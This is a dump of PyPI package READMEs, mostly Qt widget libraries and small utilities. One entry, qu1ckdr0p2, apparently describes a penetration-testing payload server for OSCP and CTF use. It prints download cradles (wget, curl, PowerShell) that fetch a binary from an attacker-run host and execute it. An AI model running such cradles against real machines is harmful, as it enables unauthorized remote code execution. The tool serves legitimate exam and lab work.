Saravanan666/pypi-org huggingface dataset:
Package: qtutils
qtutilsUtilities for providing concurrent access to Qt objects, simplified QSettings storage,
and dynamic widget promotion when loading UI files, in Python Qt applications. Includes
the Fugue icon set, free to use with attribution to Yusuke Kamiyamane.DocumentationPyPISource code (GitHub)InstallationTo install the latest release version, runpip install qtutils.To install latest development version, clone the GitHub repository and runpip install .to install, orpip install -e .to install in 'editable' mode.Summaryqtutilsis a Python library that provides some convenient features to Python
applications using the PyQt5/PySide2 widget library.qtutils3.0 dropped support for Python 2.7, PyQt4 and PySide. If you need to use these
platforms, you may useqtutils2.3.2 or earlier.qtutilscontains the following components:invoke_in_main: This provides some helper functions to interact with Qt from
threads.UiLoader: This provides a simplified means of promoting widgets in*.uifiles to a
custom widget of your choice.qsettings_wrapper: A wrapper around QSettings which allows you to access keys of
QSettings as instance attributes. It also performs automatic type conversions.icons: An icon set as aQResourcefile and corresponding Python module. The
resulting resource file can be used by Qt designer, and the python module imported by
applications to make the icons available to them. The Fugue icon set was made by
Yusuke Kamiyamane, and is licensed under a Creative Commons Attribution 3.0 License.
If you can't or don't want to provide attribution, please purchase a royalty-free
license fromhttp://p.yusukekamiyamane.com/Qt: a PyQt5/PySide2 agnostic interface to Qt that allows you to write software using
the PyQt5 API but have it run on either PyQt5 or PySide2.outputbox: aQTextEditwidget for displaying log/output text of an application,
either by calling methods or by sending data to it overzeromq.Using icons with Qt designerTo use the icons from Qt designer, clone this repository, and point Qt designer to the.qrcfile for the icons set:icons/icons.qrc. Unfortunately Qt desginer saves the
absolute path to this file in the resulting.uifile, so if the.uifile is later
edited by someone on another system, they will see an error at startup saying the.qrcfile cannot be found. This can be ignored and the.uifile will still function
correctly, but Qt designer will need to be told the local path to the.qrcfile before
it can display the icons within its interface.
Package: qtvoila
QtVoilaAQt for Pythonextension forVoila!QtVoilaa Qt for Python (PySide6) widget that controls and renders a Voila application. It's a convenient way of embedding the awesomeness of Voila in your Qt applications.The idea of the widget and implementation details are described in thisblog post.Installation$ pip install qtvoilaUsageQtVoila should be imported and used as a PySide6 widget, anywhere inside your GUI application. Although it can be initialized with default parameters, you are able to define theparent(the PySide6 application), thetemporary directorywhere any created notebooks will be temporarily stored, the path to an existingexternal notebookand the boolean option to either strip code sources on Voila rendering or not:fromqtvoilaimportQtVoilavoila_widget=QtVoila(parent=None,temp_dir=None,external_notebook=None,strip_sources=True)If creating a notebook programmatically, new cells can be added with the methodadd_notebook_cell(). This method accepts three arguments:code_importsis a dictionary of modules to be imported,codeis the string containing the cell's code or markdown text andcell_typedefines if the cell is of type code or markdown. Examples:# Mardown cellmtext="#This is my title\n"mtext+="Here goes some text. Check out this graphic:"voila_widget.add_notebook_cell(code=mtext,cell_type='markdown')# Code cellimports={'matplotlib':['pyplot'],'numpy':[],}code="%matplotlib inline\n"code+="pyplot.plot(numpy.random.rand(10))"voila_widget.add_notebook_cell(code_imports=imports,code=code,cell_type='code')To run the Voila process and render the result on widget:voila_widget.run_voila()To clear widget and stop the background Voila process:voila_widget.close_renderer()ExamplesHereyou can find some examples on how to use QtVoila in your PySide6 application. For example, creating notebooks from user's input and rendering them:To have your GUI importing existing notebooks and rendering them:
Package: qtwasmserver
Qt for WebAssembly development server.This server is intented to be used while developing and testing WebAssembly applications on a
trusted network. It is not suitable for production use cases like distributing applicaitons
to end users over public networks.The server is an upgrade from the python one line server ("python -m http.server"), and offers the
following features:Zero-configuration / minimal configuration.Support for binding to multiple addresses in addition to localhost. This is useful
for e.g. testing on mobile devices on the same local network as the development machine.
Address can be addded individually using the --address option. Pass the "-all" option to
bind to all available addresses.Support for generating https certificates using the mkcert utility. Many web features
require a secure context. While "localhost" is considered a secure context (also when plain
http is used), other addresses are not. Clicking through the "not secure" warnings is
an option, but using a valid certificate improves flow.Support for compression using brotli. By default, the server compresses when serving over a
public, non-localhost address. (localhost is fast, enabling compression here usualually increases
download time instead of doing the opposite). Compression be controlled with the --compress-always and
--compress-never options.Support for enabling cross-origin isolation mode. This sets the so-called COOP and COEP headers,
which are required to enable SharedArrayBuffer and multithreading. Enable with the --cross-origin-isolation
option. Note that this may impose additional restrictions on cross-origin requests.TODO:ipv6 supportInstallation and Usagepip install qtwasmserverUsage exmaples:qtwasmserver                            # Start server on localhost, serve $CWD
qtwasmserver /path/to/wasm/builds       # Specify web root path
qtwasmserver -p 1080                    # Start server(s) on custom port
qtwasmserver --all-interfaces           # Start server(s) on all network interfaces
qtwasmserver -a 10.0.0.2                # Start server on specific address, in addition to localhost
qtwasmserver --cross-origin-isolation   # Enable cross-origin isolation mode for multithreading
qtwasmserver -h                         # Show helpUsing mkcertqtwasmserver can optinally use mkcert to generate https certifacates. Seehttps://github.com/FiloSottile/mkcertfor
installation and getting started instructions.The basic flow is:Gereate a certificate authority (CA), and install that on all devices and browsers.
This is a one time operation. mkcert will use thuis CA to sign certificates.Generate a certificate for each address you want to use. This is done automatically
by this server.The beneifit of this appraoch is that certificates can be generated locally, on demand,
for each server address in use. This can be useful when for instance moving a development
machine between home and office networks.
Package: qtwidgets
Custom Qt5 Python WidgetsQt5 comes with a huge number of widgets built-in, from simple text boxes to digital displays, vector graphics canvas and a full-blown web browser. While you can build perfectly functional applications with the built-in widgets, sometimes your applications will need amore.This repo contains a library ofcustom Python Qt5 widgetswhich are free to use in your own applications. Widgets are compatible with both PyQt5 and PySide2 (Qt for Python). Currently the repository includes -WidgetsLibraryGraphical EqualizerVisualize audio frequency changes with configurable styles and decayfrom qtwidgets import EqualizerBarDocumentationPower BarRotary control with amplitude displayfrom qtwidgets import PowerBarDocumentationPaletteSelect colours from a configurable linear or grid palette.from qtwidgets import PaletteHorizontalfrom qtwidgets import PaletteGridDocumentationLinear Gradient EditorDesign custom linear gradients with multiple stops and colours.from qtwidgets import GradientDocumentationColor ButtonSimple button that displays and selects colours.from qtwidgets import ColorButtonPaintDraw pictures with a custom bitmap canvas, with colour and pen control.from qtwidgets import PaintPassword EditA password line editor with toggleable visibility action.from qtwidgets import PasswordEditReplace checkboxes with this handy toggle widget, with custom colors and optional animationsfrom qtwidgets import Togglefrom qtwidgets import AnimatedToggleDocumentationFor a more detailed introduction to each widget and a walkthrough of their APIsseethe custom widget library on LearnPyQt.More custom widgets will follow,if you have ideas just let me know!Licensed MIT/BSDv2feel free to use in your own projects.
Package: qt-widgets
qt-widgetsReusable Qt widgets library.Browser WidgetAutomatic layout for similar objects.model:List[str]=[f'data{_}'for_inrange(10_000)]browser=BrowserWidget(config=BrowserConfig(item=Item(# width=200,),page=Page(index=4,size=25),),builder=lambdaitem:QPushButton(item),model=model,)Gallery WidgetBased on Browser Widget with auto-resize behavior.defbuilder(path:str):defreader()->numpy.ndarray:returncv2.imread(path)returnreaderwidget=GalleryWidget(images=[builder('image1.jpg'),builder('image2.jpg')],config=BrowserConfig(page=Page(size=20)))Installpip install qt-widgetsRequirementsPyQt5pip install pyqt5
pip install pyqt5-toolsUsageRun any script from thetest folder.
Package: qt_widgetstyler
Inherit WidgetStyler class:from qt_widgetstyler import WidgetStyler
ws = WidgetStyler()Create a new category. A category is a logical separation between
different sections of your program’s widgets, and allows you to easily
apply new or updated stylesheets to one or more categories
simultaneously.ws.new_style_category('top_navigation')A custom widget group is created below the category. The custom widget
group is a collection of individual widgets, generally of the same type
(QLabel, QTableView, etc.), and all individual widget objects assigned
to this custom widget group will share the same stylesheet.ws.add_custom_widget(category='top_navigation', widget_name='top_navigation_qlabel_text')For this category of our program, we have three QLabel widget objects
which we wish to assign to our custom widget group, QLabel1, QLabel2,
and QLabel3. We can add them individually, or together in a list.Individually:ws.add_widget(widget_instance=QLabel1, category='top_navigation', widget_name='top_navigation_qlabel_text')Together:ws.add_widgets(widget_instances_list=[QLabel2, QLabel3], category='top_navigation', widget_name='top_navigation_qlabel_text')We now add a StyleSheet to this custom widget group, which will be
shared by all the widget objects assigned to it. This only stores the
StyleSheet, it does not yet apply it:ws.add_stylesheet(category='top_navigation', widget_name='top_navigation_qlabel_text', stylesheet='QLabel { color: rgb(0, 0, 0); }')To apply the stylesheets to our widgets, we have three options.We can apply one widget group’s stylesheets individually:ws.apply_stylesheet(category='top_navigation', widget_name='top_navigation_qlabel_text')To all widgets within one category:ws.apply_category_stylesheets(category='top_navigation')Or to all of our widgets in all of our categories:ws.apply_all_stylesheets()To view all of your defined categories:ws.show_categories()To view all of your defined widgets within a single category:ws.show_category_widgets(category='top_navigation')
Package: qt-wsi-registration
Robust quad-tree based registration on whole slide imagesThis is a library that implements a quad-tree based registration on whole slide images.Core featuresWhole Slide Image supportRobust and fastRigid and non-rigid transformationAdditional RequirementsInstall OpennSlideNotebooksExample notebooks are in the demo folder or.Ho-To:Import package and create Quad-Tree.importqt_wsi_reg.registration_treeasregistrationparameters={# feature extractor parameters"point_extractor":"sift",#orb , sift"maxFeatures":512,"crossCheck":False,"flann":False,"ratio":0.6,"use_gray":False,# QTree parameter"homography":True,"filter_outliner":False,"debug":False,"target_depth":1,"run_async":True,"num_workers: 2,"thumbnail_size":(1024,1024)}qtree=registration.RegistrationQuadTree(source_slide_path=Path("examples/4Scanner/Aperio/Cyto/A_BB_563476_1.svs"),target_slide_path="examples/4Scanner/Aperio/Cyto/A_BB_563476_1.svs",**parameters)Show some registration debug information.qtree.draw_feature_points(num_sub_pic=5,figsize=(10,10))Show annotations on the source and target image in the format:[["center_x", "center_y", "anno_width", "anno_height"]]annos=np.array([["center_x","center_y","anno_width","anno_height"]])qtree.draw_annotations(annos,num_sub_pic=5,figsize=(10,10))Transform coordinatesbox=[source_anno.center_x,source_anno.center_y,source_anno.anno_width,source_anno.anno_height]trans_box=qtree.transform_boxes(np.array([box]))[0]
Package: qtx
## Quantextive AEX API Client#### Dependencies- [**Requests: HTTP for Humans**](http://docs.python-requests.org/en/master/)- install it using **pip**```pythonpip install request```- [**Pandas**](http://pandas.pydata.org/)- install it using **pip**```pythonpip install pandas```#### How to make an API request?class `ApiClient` in [`qtx.py`](qtx.py) is provisioned to make API requests. In the constructor of the `ApiClient` class, a dictionary of default headers for all requests can be supplied so that headers need not be supplied with each request.```pythondefault_headers = { 'x-api-key' : '<token>' }client = ApiClient(default_headers)```To make a GET request, `ApiClient.get()` method is used with following params- **`api_key`**: API key required for authenticating the requests- **`name`**: `string` api name which will be appended to base_url- **`params`**: `dict` of url params**EXAMPLE**```pythonimport qtxapi = "market-data-eod"params = {'securityId': 'NSE:NNFM','startDate': '2017-02-08','endDate': '2017-02-10'}api_key = '<token>'client = api_client.ApiClient()print client.get(api_key, api, params).data_frame()```The `get()` method returns a `Response` object from which below methods can be used to get response data as **json** or **Pandas DataFrame**.- `client.get(api_key, name, queryparams).json()` will return response data as **json**, and- `client.get(api_key, name, queryparams).data_frame()` will return response data as pandas **DataFrame**##### Running the test script```pythonpython tests/test.py```
Package: qty
QtyQtyis a Python library for dealing with physical quantities.InstallationUse the package managerpipto installQty.pip install qtyUsagefromqtyimportEnergy>>>E=Energy()>>>E.meV=1000.>>>E.J1.602176634e-19ContributingPull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.Please make sure to update tests as appropriate.LicenseGNU GPLv3
Package: qtypes
qtypesBuild qt graphical user interfaces out of simple type objects.InstallationTODOTypesBoolvalue: boolButtonvalue: None
background_color: str
text: str
text_color: strEnumvalue: str
allowed: List[str]Floatvalue: double
units: str
minimum: double
maximum: double
decimals: intNote that units support works viapintIntegervalue: int
minimum: int
maximum: intStringvalue: strExamplesqtypescomes with a few examples right out of the box.
Run them using the python module syntax, e.g.:$python-mqtypes.examplesone_of_eachIncluded examples:exampledescriptionone_of_eachSimple example displaying one of each type with some inspection tools.unitsExample demonstrating units support for qtypes Float object.
Package: qu
Quickly generating unique url of a picture for markdown files.☤ QuickstartUpload an image file to qiniu:$ qu up /somewhere/1.png
$ qu up /somewhere/1.png 2.pngSet configuration of qiniu:$ qu wc --access_key=AK --secret_key=SK --bucket_name=BN --domain_name=DNList local configuration of qiniu:$ qu sc
$ qu sc --format-type json☤ InstallationYou can install “qu” via pip fromPyPI:$ pip install qu☤ Usage$ qu --help
Usage: qu [OPTIONS] COMMAND [ARGS]...

  Quickly generating unique url of a picture for markdown files.

Options:
  --help  Show this message and exit.

Commands:
  dc      Clear configuration of qiniu.
  sc      Show configuration of qiniu.
  up      Upload an image to qiniu.
  wc      Set configuration of qiniu.


$ qu wc --help
Usage: qu wc [OPTIONS]

  Set configuration of qiniu.

Options:
  -ak, --access_key TEXT   qiniu access_key.
  -sk, --secret_key TEXT   qiniu secret_key.
  -bn, --bucket_name TEXT  qiniu bucket_name.
  -dm, --domain_name TEXT  qiniu domain_name.
  --help                   Show this message and exit.


$ qu sc --help
Usage: qu sc [OPTIONS]

  Show configuration of qiniu.

Options:
  --format-type [json|xml]  output format type.
  --help                    Show this message and exit.
Package: qu1ckdr0p2
AboutRapidly host payloads and post-exploitation bins over HTTP or HTTPS.Designed to be used on exams like OSCP / PNPT or CTFs HTB / etc.Pull requests and issues welcome. As are any contributions.Qu1ckdr0p2 comes with an alias and search feature. The tools are located in thequ1ckdr0p2-toolsrepository. By default it will generate a self-signed certificate to use when using the--httpsoption, priority is also given to thetun0interface when the webserver is running, otherwise it will useeth0.Thecommon.inidefines the mapped aliases used within the--search and -uoptions.When the webserver is running there are several download cradles printed to the screen to copy and paste.InstallUsing pip is the only supported way of installingCloning this repository to install will probably break somethingpip3installqu1ckdr0p2
servinit--updateExport as an alias if neededecho "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrcecho "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrcUsageServ a single file located in your current working directory$servserve-fimplant.bin--https443$servserve-ffile.example--http8080Update and help$serv--helpUsage:serv[OPTIONS]COMMAND[ARGS]...Welcometoqu1ckdr0p2entrypoint.

Options:--debugEnabledebugmode.--helpShowthismessageandexit.

Commands:initPerformupdates.serveServefiles.$servserve--help
Usage:servserve[OPTIONS]Servefiles.

Options:-l,--listListaliases-s,--searchTEXTSearchqueryforaliases-u,--useINTEGERUseanaliasbyadynamicnumber-f,--fileFILEServeafile--httpINTEGERUseHTTPwithacustomport--httpsINTEGERUseHTTPSwithacustomport-h,--helpShowthismessageandexit.$servinit--helpUsage:servinit[OPTIONS]Performupdates.

Options:--updateCheckanddownloadmissingtools.--update-selfUpdatethetoolusingpip.--update-self-testUsedfordevtesting,installsunstablebuild.--helpShowthismessageandexit.$servinit--update$servinit--update-selfServ a file from a mapped aliasThe mapped alias numbers for the-uoption are dynamic so you don't have to remember specific numbers or ever type out a tool name.$servserve--searchligolo[→]Path:~/.qu1ckdr0p2/windows/agent.exe[→]Alias:ligolo_agent_win[→]Use:1[→]Path:~/.qu1ckdr0p2/windows/proxy.exe[→]Alias:ligolo_proxy_win[→]Use:2[→]Path:~/.qu1ckdr0p2/linux/agent[→]Alias:ligolo_agent_linux[→]Use:3[→]Path:~/.qu1ckdr0p2/linux/proxy[→]Alias:ligolo_proxy_linux[→]Use:4(...)$servserve--searchligolo-u3--http80[→]Serving:../../.qu1ckdr0p2/linux/agent[→]Protocol:http[→]IPaddress:192.168.1.5[→]Port:80[→]Interface:eth0[→]CTRL+Ctoquit[→]URL:http://192.168.1.5:80/agent[↓]csharp:$webclient=New-ObjectSystem.Net.WebClient;$webclient.DownloadFile('http://192.168.1.5:80/agent','c:\windows\temp\agent');Start-Process'c:\windows\temp\agent'[↓]wget:
wgethttp://192.168.1.5:80/agent-O/tmp/agent&&chmod+x/tmp/agent&&/tmp/agent[↓]curl:
curlhttp://192.168.1.5:80/agent-o/tmp/agent&&chmod+x/tmp/agent&&/tmp/agent[↓]powershell:
Invoke-WebRequest-Urihttp://192.168.1.5:80/agent-OutFilec:\windows\temp\agent;Start-Processc:\windows\temp\agent

⠧WebserverrunningLicenseMIT
Package: qu6zhi
📦 setup.py (for humans)This repo exists to providean example setup.pyfile, that can be used
to bootstrap your next Python project. It includes some advanced
patterns and best practices forsetup.py, as well as some
commented–out nice–to–haves.For example, thissetup.pyprovides a$ python setup.py uploadcommand, which creates auniversal wheel(andsdist) and uploads
your package toPyPiusingTwine, without the need for an annoyingsetup.cfgfile. It also creates/uploads a new git tag, automatically.In short,setup.pyfiles can be daunting to approach, when first
starting out — even Guido has been heard saying, "everyone cargo cults
thems". It's true — so, I want this repo to be the best place to
copy–paste from :)Check out the example!Installationcdyour_project# Download the setup.py file:#  download with wgetwgethttps://raw.githubusercontent.com/navdeep-G/setup.py/master/setup.py-Osetup.py#  download with curlcurl-Ohttps://raw.githubusercontent.com/navdeep-G/setup.py/master/setup.pyTo DoTests via$ setup.py test(if it's concise).Pull requests are encouraged!More ResourcesWhat is setup.py?on Stack OverflowOfficial Python Packaging User GuideThe Hitchhiker's Guide to PackagingCookiecutter template for a Python packageLicenseThis is free and unencumbered software released into the public domain.Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any means.
Package: quacc
quacc– The Quantum Accelerator 🦆quaccis a flexible platform for computational materials science 💎 and quantum chemistry 🧪 that is built for the big data era 🔥. It is maintained by theRosen Research Groupat Princeton University.quaccmakes it possible to easily run pre-madecomputational materials science workflowsthat can be efficiently dispatched anywhere: locally, HPC, the cloud, or any combination thereof.quaccgives you the freedom of choice. Through a single, unified interface to several supportedworkflow management solutions, you can use what best suits your unique computing needs.quaccleverages community resources so we don't reinvent the wheel. It is built around the Atomic Simulation Environment and much of the software infrastructure powering the Materials Project.Documentation 📖Learn More Here!... or skip straight to one of the following sections:🔧Installation Guide🧠User Guide🤝Developer GuideVisual Example ✨🚀 Representativequaccworkflow usingCovalentas one of the several supported workflow managers.Citation 📝If you usequaccin your work, please cite it as follows:quacc – The Quantum Accelerator,https://doi.org/10.5281/zenodo.7720998.License ⚖️quaccis released under aBSD 3-Clause license.
Package: quackmyip
quackmyipKeep your public IP address updated, when using theDuckDNSservice.RequirementsIn order to work, this program, needs the following Python 3 libraries:requests(tested with v2.12.4)urllib3(tested with v1.19.1)InstallationYou can usepipto install it:pip install quackmyipSyntaxusage: quackmyip [-h] FILE

Update your IP address for your duckdns registered domain

positional arguments:
  FILE        The configuration file to use

  optional arguments:
    -h, --help  show this help message and exitFor its usage, it's recommended to create a daily cron job!.ConfigurationPrior to its usage, a configuration file must be created, as shown in the following example:[duckdns]
token = [YOUR_TOKEN]
domain = [YOUR_DOMAIN]